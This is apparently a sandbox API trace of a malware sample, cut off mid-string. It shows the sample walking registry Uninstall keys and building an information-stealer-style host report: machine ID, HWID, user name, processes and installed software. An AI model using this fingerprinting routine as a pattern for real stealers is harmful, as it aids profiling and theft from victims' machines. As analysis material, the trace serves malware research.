[0054.981] RegCloseKey (hKey=0x514) returned 0x0
[0054.981] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x3f, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.982] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned 100
[0054.982] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.982] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.982] RegCloseKey (hKey=0x514) returned 0x0
[0054.982] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x40, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.982] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned 100
[0054.982] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.982] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.982] RegCloseKey (hKey=0x514) returned 0x0
[0054.982] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x41, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.982] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned 99
[0054.982] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.982] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.982] RegCloseKey (hKey=0x514) returned 0x0
[0054.982] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x42, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.982] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 90
[0054.982] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.982] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpcbData=0x1816c0*=0x3e) returned 0x0
[0054.982] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\n", lpString2="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005"
[0054.983] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="12.0.21005", lpcbData=0x1816c0*=0xb) returned 0x0
[0054.983] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe 